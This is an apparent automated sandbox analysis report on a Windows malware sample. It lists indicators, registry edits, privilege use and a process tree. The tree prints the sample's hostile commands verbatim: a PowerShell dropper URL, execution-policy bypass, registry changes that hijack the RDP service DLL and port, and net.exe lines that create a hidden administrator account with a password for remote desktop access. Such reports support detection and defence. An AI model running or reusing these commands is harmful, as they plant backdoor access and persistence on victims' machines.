e5dcf030290fd293d259f1c8ffbb65328c371e07fa34419af7723429599a7f6e

Analysis

max time kernel
48s
max time network
113s
platform
windows10_x64
resource
win10v20210410
submitted
02-07-2021 05:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b8c76065042d1557af857a48a5ac0f3e.exe
Size

5.7MB
MD5

b8c76065042d1557af857a48a5ac0f3e
SHA1

7b5077cd4aaa5c97a768e9722828ebac94abe1f8
SHA256

e5dcf030290fd293d259f1c8ffbb65328c371e07fa34419af7723429599a7f6e
SHA512

59aa84a81ac66288b0d9b2d160ce6c3895d5a02bd48bceff659aeaf21df28c4996585378d302535f50b06d0592d65b5e6612714f7bec4d0df39e9bf514d54eba

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
14	4004	powershell.exe
16	4004	powershell.exe
17	4004	powershell.exe
18	4004	powershell.exe
20	4004	powershell.exe
22	4004	powershell.exe
24	4004	powershell.exe
26	4004	powershell.exe
28	4004	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001ab54-224.dat	upx
behavioral2/files/0x000600000001ab58-225.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
804	Process not Found
804	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_3hluy14y.ymc.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI55F6.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5607.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_srykhfml.zan.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI55D6.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5619.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5608.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2188	reg.exe

Runs net.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	16	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
1924	powershell.exe
1924	powershell.exe
1924	powershell.exe
3836	powershell.exe
3836	powershell.exe
3836	powershell.exe
1344	powershell.exe
1344	powershell.exe
1344	powershell.exe
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
624	Process not Found
624	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2416	powershell.exe
Token: SeDebugPrivilege	1924	powershell.exe
Token: SeIncreaseQuotaPrivilege	1924	powershell.exe
Token: SeSecurityPrivilege	1924	powershell.exe
Token: SeTakeOwnershipPrivilege	1924	powershell.exe
Token: SeLoadDriverPrivilege	1924	powershell.exe
Token: SeSystemProfilePrivilege	1924	powershell.exe
Token: SeSystemtimePrivilege	1924	powershell.exe
Token: SeProfSingleProcessPrivilege	1924	powershell.exe
Token: SeIncBasePriorityPrivilege	1924	powershell.exe
Token: SeCreatePagefilePrivilege	1924	powershell.exe
Token: SeBackupPrivilege	1924	powershell.exe
Token: SeRestorePrivilege	1924	powershell.exe
Token: SeShutdownPrivilege	1924	powershell.exe
Token: SeDebugPrivilege	1924	powershell.exe
Token: SeSystemEnvironmentPrivilege	1924	powershell.exe
Token: SeRemoteShutdownPrivilege	1924	powershell.exe
Token: SeUndockPrivilege	1924	powershell.exe
Token: SeManageVolumePrivilege	1924	powershell.exe
Token: 33	1924	powershell.exe
Token: 34	1924	powershell.exe
Token: 35	1924	powershell.exe
Token: 36	1924	powershell.exe
Token: SeDebugPrivilege	3836	powershell.exe
Token: SeIncreaseQuotaPrivilege	3836	powershell.exe
Token: SeSecurityPrivilege	3836	powershell.exe
Token: SeTakeOwnershipPrivilege	3836	powershell.exe
Token: SeLoadDriverPrivilege	3836	powershell.exe
Token: SeSystemProfilePrivilege	3836	powershell.exe
Token: SeSystemtimePrivilege	3836	powershell.exe
Token: SeProfSingleProcessPrivilege	3836	powershell.exe
Token: SeIncBasePriorityPrivilege	3836	powershell.exe
Token: SeCreatePagefilePrivilege	3836	powershell.exe
Token: SeBackupPrivilege	3836	powershell.exe
Token: SeRestorePrivilege	3836	powershell.exe
Token: SeShutdownPrivilege	3836	powershell.exe
Token: SeDebugPrivilege	3836	powershell.exe
Token: SeSystemEnvironmentPrivilege	3836	powershell.exe
Token: SeRemoteShutdownPrivilege	3836	powershell.exe
Token: SeUndockPrivilege	3836	powershell.exe
Token: SeManageVolumePrivilege	3836	powershell.exe
Token: 33	3836	powershell.exe
Token: 34	3836	powershell.exe
Token: 35	3836	powershell.exe
Token: 36	3836	powershell.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeIncreaseQuotaPrivilege	1344	powershell.exe
Token: SeSecurityPrivilege	1344	powershell.exe
Token: SeTakeOwnershipPrivilege	1344	powershell.exe
Token: SeLoadDriverPrivilege	1344	powershell.exe
Token: SeSystemProfilePrivilege	1344	powershell.exe
Token: SeSystemtimePrivilege	1344	powershell.exe
Token: SeProfSingleProcessPrivilege	1344	powershell.exe
Token: SeIncBasePriorityPrivilege	1344	powershell.exe
Token: SeCreatePagefilePrivilege	1344	powershell.exe
Token: SeBackupPrivilege	1344	powershell.exe
Token: SeRestorePrivilege	1344	powershell.exe
Token: SeShutdownPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeSystemEnvironmentPrivilege	1344	powershell.exe
Token: SeRemoteShutdownPrivilege	1344	powershell.exe
Token: SeUndockPrivilege	1344	powershell.exe
Token: SeManageVolumePrivilege	1344	powershell.exe
Token: 33	1344	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3904 wrote to memory of 2416	3904	b8c76065042d1557af857a48a5ac0f3e.exe	76
PID 3904 wrote to memory of 2416	3904	b8c76065042d1557af857a48a5ac0f3e.exe	76
PID 2416 wrote to memory of 1344	2416	powershell.exe	78
PID 2416 wrote to memory of 1344	2416	powershell.exe	78
PID 1344 wrote to memory of 2180	1344	csc.exe	79
PID 1344 wrote to memory of 2180	1344	csc.exe	79
PID 2416 wrote to memory of 1924	2416	powershell.exe	81
PID 2416 wrote to memory of 1924	2416	powershell.exe	81
PID 2416 wrote to memory of 3836	2416	powershell.exe	85
PID 2416 wrote to memory of 3836	2416	powershell.exe	85
PID 2416 wrote to memory of 1344	2416	powershell.exe	88
PID 2416 wrote to memory of 1344	2416	powershell.exe	88
PID 2416 wrote to memory of 2708	2416	powershell.exe	90
PID 2416 wrote to memory of 2708	2416	powershell.exe	90
PID 2416 wrote to memory of 2188	2416	powershell.exe	91
PID 2416 wrote to memory of 2188	2416	powershell.exe	91
PID 2416 wrote to memory of 3852	2416	powershell.exe	92
PID 2416 wrote to memory of 3852	2416	powershell.exe	92
PID 2416 wrote to memory of 3692	2416	powershell.exe	93
PID 2416 wrote to memory of 3692	2416	powershell.exe	93
PID 3692 wrote to memory of 4032	3692	net.exe	94
PID 3692 wrote to memory of 4032	3692	net.exe	94
PID 2416 wrote to memory of 1184	2416	powershell.exe	95
PID 2416 wrote to memory of 1184	2416	powershell.exe	95
PID 1184 wrote to memory of 3456	1184	cmd.exe	96
PID 1184 wrote to memory of 3456	1184	cmd.exe	96
PID 3456 wrote to memory of 2184	3456	cmd.exe	97
PID 3456 wrote to memory of 2184	3456	cmd.exe	97
PID 2184 wrote to memory of 3968	2184	net.exe	98
PID 2184 wrote to memory of 3968	2184	net.exe	98
PID 2416 wrote to memory of 3528	2416	powershell.exe	99
PID 2416 wrote to memory of 3528	2416	powershell.exe	99
PID 3528 wrote to memory of 2724	3528	cmd.exe	100
PID 3528 wrote to memory of 2724	3528	cmd.exe	100
PID 2724 wrote to memory of 2720	2724	cmd.exe	101
PID 2724 wrote to memory of 2720	2724	cmd.exe	101
PID 2720 wrote to memory of 1332	2720	net.exe	102
PID 2720 wrote to memory of 1332	2720	net.exe	102
PID 1296 wrote to memory of 908	1296	cmd.exe	106
PID 1296 wrote to memory of 908	1296	cmd.exe	106
PID 908 wrote to memory of 4004	908	net.exe	107
PID 908 wrote to memory of 4004	908	net.exe	107
PID 4032 wrote to memory of 1184	4032	cmd.exe	110
PID 4032 wrote to memory of 1184	4032	cmd.exe	110
PID 1184 wrote to memory of 2240	1184	net.exe	111
PID 1184 wrote to memory of 2240	1184	net.exe	111
PID 1624 wrote to memory of 2236	1624	cmd.exe	114
PID 1624 wrote to memory of 2236	1624	cmd.exe	114
PID 2236 wrote to memory of 2072	2236	net.exe	115
PID 2236 wrote to memory of 2072	2236	net.exe	115
PID 1016 wrote to memory of 3844	1016	cmd.exe	118
PID 1016 wrote to memory of 3844	1016	cmd.exe	118
PID 3844 wrote to memory of 3932	3844	net.exe	119
PID 3844 wrote to memory of 3932	3844	net.exe	119
PID 3456 wrote to memory of 4004	3456	cmd.exe	122
PID 3456 wrote to memory of 4004	3456	cmd.exe	122
PID 4004 wrote to memory of 648	4004	net.exe	123
PID 4004 wrote to memory of 648	4004	net.exe	123
PID 2240 wrote to memory of 1924	2240	cmd.exe	126
PID 2240 wrote to memory of 1924	2240	cmd.exe	126
PID 1924 wrote to memory of 1296	1924	net.exe	127
PID 1924 wrote to memory of 1296	1924	net.exe	127
PID 3836 wrote to memory of 1296	3836	cmd.exe	130
PID 3836 wrote to memory of 1296	3836	cmd.exe	130

C:\Users\Admin\AppData\Local\Temp\b8c76065042d1557af857a48a5ac0f3e.exe
"C:\Users\Admin\AppData\Local\Temp\b8c76065042d1557af857a48a5ac0f3e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2416
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\t12zlvad\t12zlvad.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1344
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1F74.tmp" "c:\Users\Admin\AppData\Local\Temp\t12zlvad\CSCBDFBCE97AEB14310939B93DCE1D3EE27.TMP"
      4⤵
      PID:2180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1344
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2708
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2188
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:3852
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3692
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:4032
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1184
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3456
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2184
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3968
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3528
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2724
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2720
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1332
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:4260
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:4276

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1296
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:908
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:4004

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 7j21hLt3 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4032
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 7j21hLt3 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 7j21hLt3 /add
    3⤵
    PID:2240

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:2072

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:3932

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3456
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4004
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:648

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 7j21hLt3
1⤵
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 7j21hLt3
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 7j21hLt3
    3⤵
    PID:1296

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:3836
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:1296

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:4004
